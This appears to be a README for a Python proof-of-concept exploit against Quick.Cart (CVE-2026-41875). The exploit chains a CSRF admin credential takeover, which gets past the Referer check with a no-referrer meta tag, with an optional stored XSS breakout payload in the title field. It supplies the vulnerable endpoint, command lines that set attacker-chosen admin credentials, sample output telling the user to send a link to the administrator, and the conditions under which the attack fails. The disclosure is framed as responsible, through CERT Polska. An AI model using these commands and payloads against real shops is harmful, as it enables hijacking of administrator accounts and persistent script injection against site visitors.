
Python proof-of-concept exploit for CVE-2026-41875: CSRF admin credential takeover in Quick.Cart via Referer bypass, optionally chaining stored XSS in the title field.
Proof-of-Concept exploit for two vulnerabilities in Quick.Cart:
- CSRF — allows an unauthenticated attacker to change the admin's credentials by tricking the authenticated administrator into visiting a malicious page.
- Stored XSS — the
titleparameter is injected into the HTML<title>tag without sanitization, allowing persistent script execution via the same CSRF request. No CVE was assigned for the XSS, as the vendor considers JavaScript injection by an admin to be intended behavior.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-41875 |
| Affected Software | Quick.Cart |
| Affected Endpoint | /admin.php?p=tools-config |
| Vulnerability Type | CSRF + Stored XSS |
| CVSSv3 Score | 6.9 / Medium |
| Researcher | Karol Czubernat / SEQRED INTERNATIONAL |
| Disclosure | Responsible disclosure via CERT Polska |
Quick.Cart does not implement any CSRF token or SameSite cookie attribute on the admin configuration endpoint. The application does validate the Referer header — however, this check was bypassed using a <meta name="referrer" content="no-referrer"> tag in the malicious page, which causes the browser to omit the Referer header entirely. The server-side check then passes, as it treats a missing Referer as acceptable.
The title parameter submitted to the same endpoint is stored in the site configuration and reflected directly into the HTML <title> tag on every page load without any sanitization or escaping. This allows breaking out of the tag and injecting arbitrary JavaScript.
The vendor did not assign a CVE for this finding, as they consider JavaScript injection via the admin panel to be intended behavior.
Vulnerable parameter: title
PoC payload: </title><script>alert(1)</script><title>
To use a custom XSS payload, edit the XSS_PAYLOAD variable in the source code of exploit.py.
A remote attacker who can trick the authenticated administrator into visiting a malicious page can:
By combining both vulnerabilities in a single request, an attacker can additionally:
http.server, threading, socket)# CSRF only — change admin credentials
python3 exploit.py --url http://target.com \
--adminpath admin.php \
--username hacker \
--password Pwned123!
# CSRF + Stored XSS PoC — also injects alert(1) into the site <title>
python3 exploit.py --url http://target.com \
--adminpath admin.php \
--username hacker \
--password Pwned123! \
--xss
| Argument | Required | Description |
|---|---|---|
--url | ✅ | Target base URL (e.g. http://target.com) |
--adminpath | ✅ | Path to the admin panel (e.g. admin.php) |
--username | ✅ | New admin username to set |
--password | ✅ | New admin password to set |
--port | ❌ | Local port to serve the CSRF page (default: 8080) |
--xss | ❌ | Also inject Stored XSS payload into the title field (PoC: alert(1)) |
Custom XSS payload: To use a different payload, edit the
XSS_PAYLOADvariable at the top ofexploit.py. The default PoC payload isalert(1).
╔═══════════════════════════════════════════════════════════╗
║ CSRF + Stored XSS PoC - Quick.Cart Admin Takeover ║
║ For authorized security testing only ║
╚═══════════════════════════════════════════════════════════╝
[+] Target URL : http://target.com/admin.php?p=tools-config
[+] New username: hacker
[+] New password: Pwned123!
[+] Local port : 8080
[+] XSS mode : ENABLED
[+] XSS payload : </title><script>alert(1)</script><title>
[i] No CVE assigned — vendor considers JS injection by admin an intended feature
[i] To use a custom payload, edit XSS_PAYLOAD in the source code.
[!] Payload will be stored in site config and trigger on every page load.
[+] CSRF page hosted at: http://192.168.1.42:8080/
============================================================
[>] Send this link to the authenticated admin:
http://192.168.1.42:8080/
============================================================
[*] Waiting for connections... (Ctrl+C to stop)
[*] Connection from 192.168.1.10 - / [14:32:01]
<meta name="referrer" content="no-referrer"> tag suppresses the Referer header, bypassing the server-side referer check.Referer.--xss, the title field carries the XSS payload, which is stored in the site config and executed on every subsequent page load.The exploit will NOT work if:
SameSite=Strict or SameSite=Lax (modern browsers may default to Lax)--adminpathThis exploit is provided for educational and authorized security testing purposes only.